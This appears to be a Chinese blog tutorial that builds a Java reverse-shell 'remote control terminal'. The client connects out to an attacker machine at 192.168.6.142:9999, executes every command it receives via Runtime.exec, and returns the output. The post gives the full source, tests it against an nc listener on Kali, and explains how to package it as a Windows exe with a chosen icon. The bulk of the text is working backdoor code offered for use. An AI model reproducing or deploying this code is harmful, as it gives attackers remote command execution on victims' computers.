基于Java制作一个简易的远控终端

目录
  • 远控终端的本质
  • Java制作简易的远控
    • 1、环境
    • 2、新建项目
    • 3、新建一个Java类
    • 4、编写程序
    • 5、将项目打包成jar包并生成exe文件
  • 附完整代码

远控终端的本质

1、服务端(攻击者)传输消息 ----> socket连接 ----> 客户端(被攻击者)接收消息

2、客户端执行消息内容(即执行服务端传回来的命令)

3、客户端传输执行结果 ----> socket连接 ----> 服务端显示命令执行结果

Java制作简易的远控

1、环境

环境:IntelliJ IDEA 2022.1.1 + jdk1.8 + exe4j.exe

2、新建项目

打开idea,直接新建一个最普通的Java项目即可。

3、新建一个Java类

4、编写程序

(1)导入需要使用到的类包

import java.io.*;
import java.net.Socket;
import java.nio.charset.StandardCharsets;

(2)编写main方法

...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {

    }
}

(3)建立socket连接

public static void main(String[] args) {
        try {
        	// 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

(4)接收服务端传输的消息(即命令)

...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        try {
        	// 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
			// 建立成功后while循环保持连接
			while (true) {
                // inputStream接收服务端传入的字节流数据
                InputStream inputStream = socket.getInputStream();
                // 定义客户端以一个字节大小的方式接收服务端传入的字节流数据
                byte[] bytes = new byte[1];
                // 服务端传入字节流数据转化成字符型数据——命令
                String command = "";

                while (true) {
                    // 判断服务端传入的字节流数据是否被bytes字节数组接收完
                    if (inputStream.available() > 0) {
                        // 将服务端传入的字节流数据以一个字节大小的方式读入bytes字节数组中
                        inputStream.read(bytes);
                        // 将读入的字节流数据转化成16进制数据
                        String hexString = BytesToHexString(bytes);
                        // 将16进制数据转化成字符型数据并赋值给command——命令
                        command += HexStringToString(hexString);

                        // 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止
                        if (inputStream.available() == 0) {
                            // 去掉服务端传回来命令的空格
                            command = command.trim();
                            // 如果传回来的命令为exit,就直接断开连接
                            if (command.equals("exit")) {
                                return;
                            }
                        }
                    }
                }
            }
        }
        ...
    }
}

其中需要将接收数据的字节流先转化为16进制数据,再将16进制数据转化为字符型数据,这里分别自定义了两个静态方法:BytesToHexString和HexStringToString。

两个方法的定义如下:

...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        ......
    }
	// 将字节流数据转化为16进制数据
    public static String BytesToHexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        }
        char[] hexArray = "0123456789ABCDEF".toCharArray();
        char[] hexChars = new char[bytes.length * 2];

        for (int i = 0; i < bytes.length; i++) {
            int temp = bytes[i] & 0xFF;
            hexChars[i * 2] = hexArray[temp >> 4];
            hexChars[i * 2 + 1] = hexArray[temp & 0x0F];
        }
        return new String(hexChars);
    }

    // 将16进制数据转化为字符型数据
    public static String HexStringToString(String hexString) {
        byte[] array = new byte[hexString.length() / 2];
        try {
            for (int i = 0; i < array.length; i++) {
                array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16));
            }
            hexString = new String(array, "UTF-8");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return "";
        }
        return hexString;
}

(5)执行消息内容(即执行服务端传回来的命令)

...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        try {
            // 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
            // 建立成功后while循环保持连接
            while (true) {
                .......

                while (true) {
                    // 判断服务端传入的字节流数据是否被bytes字节数组接收完
                    if (inputStream.available() > 0) {
                        ......
                        // 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止
                        if (inputStream.available() == 0) {
                            ......
                            }
                            // 执行命令并返回结果
                            try {
                                // 执行服务端传回来的命令,将命令的执行过程交给exec进程
                                Process exec = Runtime.getRuntime().exec(command);

                            } catch (Exception e) {
                                e.printStackTrace();
                            }
                        }

                    }
                }

            }
        }
        ......
    }
}

(6)将执行结果返回给服务端

...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        try {
            // 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
            // 建立成功后while循环保持连接
            while (true) {
                .......

                while (true) {
                    // 判断服务端传入的字节流数据是否被bytes字节数组接收完
                    if (inputStream.available() > 0) {
                        ......
                        // 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止
                        if (inputStream.available() == 0) {
                            ......
                            }
                            // 执行命令并返回结果
                            try {
                                // 执行服务端传回来的命令,将命令的执行过程交给exec进程
                                Process exec = Runtime.getRuntime().exec(command);
                                // 将执行命令返回结果的流赋值给输入流results中
                                InputStream results = exec.getInputStream();
                                // 考虑到执行命令的返回结果可能会有中文字符,所以采用BufferedReader
                                BufferedReader reader = new BufferedReader(new InputStreamReader(results));
                                // 创建数据输出流,并将数据输出流中的数据流给到socket连接的输出流中,以让命令结果返回给服务端
                                DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
                                String line = null;
                                // 读取命令执行结果的一行数据,如果数据不为空,则将数据写入到数据输出流中,然后将数据输出流中的数据进行刷新
                                while ((line = reader.readLine()) != null) {
                                    dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));
                                    dataOutputStream.flush();
                                }
                                // 进程等待
                                exec.waitFor();
                                // 关闭输入流
                                results.close();
                                // 关闭读入流
                                reader.close();
                                // 销毁进程对象
                                exec.destroy();
                                break;
                            } catch (Exception e) {
                                e.printStackTrace();
                            } finally {
                                // 将存放命令的字符串置位空,防止下次执行命令的时候将该次命令也带入执行
                                command = "";
                            }
                        }

                    }
                }

            }
        }
        ......
    }
}

至此,Java编写远程控制终端完成!

(7)测试远控终端的可用性

打开一台kali虚拟机(IP为192.168.6.142)作为服务端,使用nc监听9999端口。

连接成功,远控终端制作完成!

5、将项目打包成jar包并生成exe文件

(1)打成jar包

步骤一

点击文件 --> 点击项目结构。

步骤二

点击工件 --> 点击JAR --> 点击来自具有…。

步骤三

将主类设为main函数所在的Java类 --> 点击确定。

步骤四

点击确定。

步骤五

点击构建 --> 点击构建项目

步骤六

再次点击构建 --> 点击构建工件

步骤七

点击构建即可。

步骤八

这时会在项目out\artifacts\remoteControl_jar目录下,生成了一个Jar文件。直接复制拖出来即可。

至此打包jar包完成。

(2)生成exe文件

使用exe4j(官网下载地址:https://exe4j.apponic.com/ )将jar包生成exe文件。

步骤一

打开exe4j --> next。

步骤二

选择"JAR in EXE"mode --> next

步骤三

填写相关内容 --> next。

步骤四

填写exe文件名字 --> 选择exe图标 --> 设置Advanced Options为32-bit or 64-bit。

步骤五

勾选选项 --> next。

步骤六

next。

步骤七

添加jar包 --> 选择jar包的存放路径 --> 选择jar包main函数所在的主类 --> next。

步骤八

选择jdk兼容最低的版本 --> 勾选"Allow JREs with a beta version number" --> next

步骤九

之后就一直next即可。

exe文件成功生成。

(3)测试exe文件的可用性

kali服务端监听端口。

点击运行生成的exe文件。

点击确定。

连接成功,Java制作远程控制终端完成!

附完整代码

import java.io.*;
import java.net.Socket;
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        try {
            // 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
            // 建立成功后while循环保持连接
            while (true) {
                // inputStream接收服务端传入的字节流数据
                InputStream inputStream = socket.getInputStream();
                // 定义客户端以一个字节大小的方式接收服务端传入的字节流数据
                byte[] bytes = new byte[1];
                // 服务端传入字节流数据转化成字符型数据——命令
                String command = "";

                while (true) {
                    // 判断服务端传入的字节流数据是否被bytes字节数组接收完
                    if (inputStream.available() > 0) {
                        // 将服务端传入的字节流数据以一个字节大小的方式读入bytes字节数组中
                        inputStream.read(bytes);
                        // 将读入的字节流数据转化成16进制数据
                        String hexString = BytesToHexString(bytes);
                        // 将16进制数据转化成字符型数据并赋值给command——命令
                        command += HexStringToString(hexString);

                        // 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止
                        if (inputStream.available() == 0) {
                            // 去掉服务端传回来命令的空格
                            command = command.trim();
                            // 如果传回来的命令为exit,就直接断开连接
                            if (command.equals("exit")) {
                                return;
                            }
                            // 执行命令并返回结果
                            try {
                                // 执行服务端传回来的命令,将命令的执行过程交给exec进程
                                Process exec = Runtime.getRuntime().exec(command);
                                // 将执行命令返回结果的流赋值给输入流results中
                                InputStream results = exec.getInputStream();
                                // 考虑到执行命令的返回结果可能会有中文字符,所以采用BufferedReader
                                BufferedReader reader = new BufferedReader(new InputStreamReader(results));
                                // 创建数据输出流,并将数据输出流中的数据流给到socket连接的输出流中,以让命令结果返回给服务端
                                DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
                                String line = null;
                                // 读取命令执行结果的一行数据,如果数据不为空,则将数据写入到数据输出流中,然后将数据输出流中的数据进行刷新
                                while ((line = reader.readLine()) != null) {
                                    dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));
                                    dataOutputStream.flush();
                                }
                                // 进程等待
                                exec.waitFor();
                                // 关闭输入流
                                results.close();
                                // 关闭读入流
                                reader.close();
                                // 销毁进程对象
                                exec.destroy();
                                break;
                            } catch (Exception e) {
                                e.printStackTrace();
                            } finally {
                                // 将存放命令的字符串置位空,防止下次执行命令的时候将该次命令也带入执行
                                command = "";
                            }
                        }

                    }
                }

            }
        } catch (IOException e) {
            e.printStackTrace();
        }

    }

    // 将字节流数据转化为16进制数据
    public static String BytesToHexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        }
        char[] hexArray = "0123456789ABCDEF".toCharArray();
        char[] hexChars = new char[bytes.length * 2];

        for (int i = 0; i < bytes.length; i++) {
            int temp = bytes[i] & 0xFF;
            hexChars[i * 2] = hexArray[temp >> 4];
            hexChars[i * 2 + 1] = hexArray[temp & 0x0F];
        }
        return new String(hexChars);
    }

    // 将16进制数据转化为字符型数据
    public static String HexStringToString(String hexString) {
        byte[] array = new byte[hexString.length() / 2];
        try {
            for (int i = 0; i < array.length; i++) {
                array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16));
            }
            hexString = new String(array, "UTF-8");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return "";
        }
        return hexString;
    }
}

以上就是基于Java制作一个简易的远控终端的详细内容,更多关于Java远控终端的资料请关注我们其它相关文章!

(0)

相关推荐

  • Java8新特性Stream短路终端操作实例解析

    这篇文章主要介绍了Java8新特性Stream短路终端操作实例解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 传入一个谓词,返回传为boolean,如果符合条件,则直接结束流. 匹配所有 allMatch 任意匹配 anymMatch 不匹配 noneMatch 查找首个 findFirst 查找任意 findAny 匹配所有 allMatch /匹配所有 allMatch @Test public void allMatchTest()

  • java理论基础Stream API终端操作示例解析

    目录 一.JavaStream管道数据处理操作 二.ForEach和ForEachOrdered 三.元素的收集collect 3.1.收集为Set 3.2.收集到List 3.3.通用的收集方式 3.4.收集到Array 3.5.收集到Map 3.6.分组收集groupingBy 四.其他常用方法 一.Java Stream管道数据处理操作 在本号之前写过的文章中,曾经给大家介绍过 Java Stream管道流是用于简化集合类元素处理的java API.在使用的过程中分为三个阶段.在开始本文之

  • 基于Java制作一个简易的远控终端

    目录 远控终端的本质 Java制作简易的远控 1.环境 2.新建项目 3.新建一个Java类 4.编写程序 5.将项目打包成jar包并生成exe文件 附完整代码 远控终端的本质 1.服务端(攻击者)传输消息 ----> socket连接 ----> 客户端(被攻击者)接收消息 2.客户端执行消息内容(即执行服务端传回来的命令) 3.客户端传输执行结果 ----> socket连接 ----> 服务端显示命令执行结果 Java制作简易的远控 1.环境 环境:IntelliJ IDEA

  • 基于QT制作一个简易的传输文件小工具

    最近因为一个事情很恼火,因为办公需要用到企业微信,但是企业微信只能在一个电脑上登陆,所以当别人发文件给你的时候,你只能一个电脑接收,创建共享文件夹也很麻烦,每次都需要去访问,很麻烦.所以准备自己写一个文件传输小工具. 功能就是能实现文件的双向传输,即客户端能传给服务端,服务端可以传给客户端. 使用的tcp通信,其实就是发消息,但是组合数据我是借鉴了IT1995大神写的代码. 先看下效果图 可以看到既可以接受文件也可进行发送文件,只要2台电脑在统一局域网内,就可发送和接受数据. 本地文件下出现了一

  • 基于Unity制作一个简易的计算器

    目录 一.前言 二.效果图及源工程 三.实现 1.界面搭建 2.代码实现 四.后记 一.前言 Hello,又见面了,今天分享如何使用Unity制作计算器,难度中等,可以用来学习,或者当成其他项目的小组件导入. 当然,也可以导出来,发布到网页端,来做一个嵌入式工具也可以. 二.效果图及源工程 效果图: 源工程 三.实现 1.界面搭建 所有的按钮摆放到Background下面. 2.代码实现 首先找到所有的按钮,添加到事件: //结果显示 TextComputeProcess = GameObjec

  • 基于Java制作一个好玩的打飞机游戏

    目录 1.效果图 2.项目整体构造 3.主类代码展示 4.飞机类代码展示 5.炮弹类代码展示 6.爆炸类代码展示 1.效果图 2.项目整体构造 3.主类代码展示 public class MyGameFrame  extends  Frame {          Image   planeImg  = GameUtil.getImage("images/plane.png");     Image   bg  = GameUtil.getImage("images/bg.j

  • 基于PyQt5制作一个数据图表生成器

    我的需求:手动配置X轴.Y轴.图表标题等参数自动通过Pyecharts模块生成可视化的html数据图表,并将浏览器图表展示到UI界面上. 制作出图表后的效果展示如下: 另外,生成后的图表结果会使用 html 的形式保存下来. 导入 UI 界面相关的 PyQt5 第三方模块库. from PyQt5.QtCore import * from PyQt5.QtWidgets import * from PyQt5.QtGui import * 若是使用PyQt5的版本是5.10.1以上,则需要单独安

  • 基于JS制作一个简单的网页版地图

    目录 前言 一.申请地图的AK密钥 二.主要代码分析 三.全部代码 四.结果展示 前言 以前做了一个安卓版的地图应用,现在突然想做一个简单的网页版地图.这个简单的网页版地图能根据城市名进行位置查询(有个城市列表的小控件,支持城市列表选择),还能根据经纬度进行位置查询.当你进行城市搜索时,或者经纬度查询城市时,该小控件也能自由地切换到目标城市. 一.申请地图的AK密钥 1.首先找到一个地图开放平台,这里以百度地图开放平台为例,步骤如下:进入百度地图开放平台,拉到最底下,进行登录注册,然后进入应用管

  • 利用java制作一个小的目录查询器的方法

    实例如下: import java.util.*; import javax.swing.*; import java.awt.*; import java.io.*; import java.awt.event.*; class MyWindow{ private Frame f1; private Button bt1; private TextField tx1; private TextArea tx2; MyWindow(){ init(); } public void init(){

  • 详解基于electron制作一个node压缩图片的桌面应用

    基于electron制作一个node压缩图片的桌面应用 下载地址:https://github.com/zenoslin/imagemin-electron/releases 项目源码Github:https://github.com/zenoslin/imagemin-electron 准备工作 我们来整理一下我们需要做什么: 压缩图片模块 获取文件路径 桌面应用生成 压缩图片 我们需要使用imagemin这个库来压缩图片,这里我们把这个库封装成压缩模块. const imagemin = r

  • 基于Java创建一个订单类代码实例

    这篇文章主要介绍了基于Java创建一个订单类代码实例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 需求描述 定义一个类,描述订单信息 订单id 订单所属用户(用户对象) 订单所包含的商品(不定数量个商品对象) 订单总金额 订单应付金额: 总金额500~1000,打折85折 总金额1000~1500,打折80折 总金额1500~2000,打折70折 总金额超过2000,打折65折 在此基础上,还要看用户的vip等级 用户vip等级为:一般会员,

  • 基于 Mysql 实现一个简易版搜索引擎

    目录 基于 Mysql 实现一个搜索引擎 一.ngram 全文解析器 二.创建全文索引 1.建表时创建全文索引 2.通过 alter table 方式 3.通过 create index 方式 三.检索方式 1.自然语言检索(NATURAL LANGUAGE MODE) 四.与 Like 对比 基于 Mysql 实现一个搜索引擎 前言: 其实 Mysql 很早就支持全文索引了,只不过一直只支持英文的检索,从5.7.6 版本开始,Mysql 就内置了 ngram 全文解析器,用来支持中文.日文.韩

随机推荐